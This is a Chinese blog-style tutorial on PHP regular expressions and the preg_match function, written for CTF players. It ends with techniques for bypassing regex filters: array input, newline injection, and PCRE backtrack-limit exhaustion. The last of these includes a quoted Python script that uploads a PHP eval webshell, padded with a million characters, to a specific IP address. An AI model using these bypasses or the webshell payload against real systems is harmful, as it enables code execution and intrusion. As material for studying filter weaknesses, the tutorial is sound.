# 前言

本篇主要用于记录正则表达式和 preg_match 函数的绕过

# preg_match 函数

这个函数可以用来进行字符串规则的匹配,这个函数也是在 ctf 中经常会遇到的一个函数

preg_match ( string $pattern , string $subject [, array &$matches  )

preg_match_all () - 执行一个全局正则表达式匹配

  • $pattern 是匹配规则
  • $subjec 是被匹配的字符串
  • $matches 提供一个存放匹配结果的数组

demo:

<?php
$a="hello php";
preg_match("/php/",$a,$b);
var_dump($b);

image-20221108192842127

# 正则表达式

简单的使用方法,接下来开始聊正则表达式,或许你没写过,但是你肯定用过类似的正则,必然 Linux 中的?* 匹配字符,那么接下来就是无聊的记忆的知识了

来一个简单的例子

[1]+abc$

  1. ^ 是匹配输入字符串的位置
  2. [0-9]+ 是匹配多个数字,[0-9] 匹配一个数字,+ 是匹配一个或者多个。
  3. abc 匹配字母 abc 并以 abc 结尾,$ 为匹配目标字符串的结束位置

# 语法

首先看一看我们常用到的几个匹配符号

    比如说 ph+p,这里 + 代表前面的 h 至少出现一次,也就是说可以匹配到 php、phhp、phhhp 等等

    <?php
    $a="pp php phhp phhhp";
    preg_match_all("/ph+p/",$a,$b);
    var_dump($b);

    这里的 preg_match_all 可以匹配到被匹配字符串的所有符合项,而 preg_match 匹配到第一个就结束了

    image-20221108200557709

    还是 ph*p 这里是指前面的字符出现任意次,也就是说可以为空,pp、php、phhpd 等等

    <?php
    $a="pp php phhp phhhp";
    preg_match_all("/ph*p/",$a,$b);
    var_dump($b);

    image-20221108200633268

  • 可以这里还是 ph?p,这里指可以出现一次或者零次

    ,pp、php

    <?php
    $a="pp php phhp phhhp";
    preg_match_all("/ph?p/",$a,$b);
    var_dump($b);

    image-20221108200704240

  • [] 用来限制规则,比如说 [a-z] 就是匹配所有的小写字母

    <?php
    $a="test 129";
    preg_match_all("/[a-z0-3]/",$a,$b);
    var_dump($b);

    image-20221108200823705

  • {} 用来限制期望字符数,{2-5} 就是指可以有 2-5 个字符长度(这里点不算是一个字符)

    <?php
    $a="abaaab";
    preg_match_all("/a{2}/",$a,$b);
    var_dump($b);

    image-20221108200925429

  • (.) 用来匹配所有字符,如果项匹配。可以用 []

    <?php
    $a="1a";
    preg_match_all("/(.)/",$a,$b);
    var_dump($b);

    image-20221108201351042

# 普通字符

这里的普通字符就是指常见的字符,包括所有大小写字母和数字以及一些符号

  1. 上面已经提到 [] 的使用,一般形式匹配 [flag]

  2. [^flag] 是指匹配除了 flag 以外的所有字符

    <?php
    $a="1f2lxz";
    preg_match_all("/[^flag]/",$a,$b);
    var_dump($b);

    image-20221108203623635

  3. 单独一个点会匹配出来换行符以外的任何一个字符

  4. [\s\S] 这里 \s 是匹配所有空白字符 \S 是匹配所有的非空白符,不包括换行

  5. \w 这个等价于 [a-zA-Z0-9_]

  6. 在正则中有一个?使用的很多,这里单独再记录一下

    如果想匹配表单中的内容我们直接写 /<.*>/ 这样会匹配全部内容

    <?php
    $a="<h1><script>alert('XSS');</script></h1>";
    preg_match_all("/<.*>/",$a,$b);
    var_dump($b);

    image-20221108204454412

    但是我们如果只想知道都使用了什么标签改怎么办呢,这里就可以只用?

    <?php
    $a="<h1><script>alert('XSS');</script></h1>";
    preg_match_all("/<.*?>/",$a,$b);
    var_dump($b);

    image-20221108204606363

# 定位符

  • ^

    从开头开始匹配

  • $

    匹配到结尾位置,常与 ^ 一起使用只匹配一行

  • \b

    匹配一个单词的边界

  • \B

    匹配一个非边界

可能上面简短的几句看起来会很懵,我知道你很急,但你别急,接下来简单的做一些测试

<?php
$a="test1
test2";
preg_match_all("/^test123/",$a,$b);
var_dump($b);

image-20221108213340067

如果待匹配开头没有则不能成功匹配

<?php
$a="1test1
test2";
preg_match_all("/^test/",$a,$b);
var_dump($b);

image-20221108213541566

然后来试一下 ^ 的作用

<?php
$a="test1
test2";
preg_match_all("/^\w{1,109}/",$a,$b);
var_dump($b);

image-20221108212503702

这里 ^ 从开始位置匹配,但是不会匹配到 \n 以后的内容

<?php
$a="test1
test2";
preg_match_all("/\w{1,100}$/",$a,$b);
var_dump($b);

image-20221108212605604

从末尾匹配但是不会匹配 \n 之前的内容

<?php
$a="test1
test2";
preg_match_all("/^\w{1,100}$/",$a,$b);
var_dump($b);

image-20221108213846413

image-20221108214404871

当两个符号一起使用时只匹配第一行,有 \n 不会匹配

补充:这里进行对照排除 \w 模式的影响

image-20221108214825884

# 修饰符

对于 preg_mach 我跟喜欢称其为模式

  • i 不区分大小写

    <?php
    $a="abc ABC";
    preg_match_all("/abc/i",$a,$b);
    var_dump($b);

    image-20221108215432175

  • g 查找所有的匹配项

    这个就相当于 preg_match_all () 函数

  • m 多行匹配模式

    <?php
    $a="a
    a
    a";
    preg_match_all("/[a-z]/m",$a,$b);
    var_dump($b);

    image-20221108215756785

  • s 使。包含 \n

<?php
$a="a
a";
preg_match_all("/./m",$a,$b);
var_dump($b);

image-20221108215829517

# 运算符优先级

运算符描述
\转义符
(), (?😃, (?=), []圆括号和方括号
*, +, ?, {n}, {n,},限定符
^, $, \ 任何元字符、任何字符定位点和序列(即:位置和顺序)
|替换,"或" 操作 字符具有高于替换运算符的优先级,使得 "m|food" 匹配 "m" 或 "food"。若要匹配 "mood" 或 "food",请使用括号创建子表达式,从而产生 "(m|f) ood"。
这里分享一个小工具,好评 [正则表达式在线测试菜鸟工具 (runoob.com)](https://c.runoob.com/front-end/854/)

# preg_match 绕过

正则扯了这么久,现在来说说这个万恶的 preg_match 怎么绕过

# 数组绕过

preg_match 只能处理字符串,当传入的 subject 是数组时会返回 false

<?php
$a=array(1,2,3,4,5,6,7,8,9,10);
if(!@preg_match("/./m",$a)){
    echo "Match found";
}

# 换行绕过

上面测试也有提到,当 ^$ 同时存在且不是 m 模式的情况下,有换行返回空,且点不会匹配换行

因此面对下面的情况中就能通过换行来绕过正则

<?php
$a=$_GET['a'];
if(preg_match('/^[a-z0-9]+$/',$a)){
    echo "OK";
}else
    echo "NG";
?>

这里遇到换行匹配不到

http://127.0.0.1/?a=123%0a

image-20221108222815571

http://127.0.0.1/?a=%0a123

image-20221108222700947

# 回溯次数限制

这里拜读 p 牛的文章 PHP 利用 PCRE 回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)

<?php
$a=$_GET['a'];
if(@preg_match('/<\?.*[(`;?>].*/is',$a)){
    echo "OK";
}else
    echo "NG";
?>

对于 demo 中的正则表达式

/<\?.*[(`;?>].*/is

假设传入 <?php phpinfo ();//aaaaa

传入正则后.* 匹配全部的字符,但是

[(`;?>

没有匹配到东西,于是会吐出一个 a,还是匹配不上,一直回溯到 phpinfo () 后面的;,停止回溯

image-20221108223613099

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 。我们可以通过 var_dump(ini_get('pcre.backtrack_limit')); 的方式查看当前环境下的上限

可见,回溯次数上限默认是 100 万。如果我们回溯超过 100 万次 preg_match 就会返回 false

大佬的 payload

import requests
from io import BytesIO
files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

  1. 0-9 ↩︎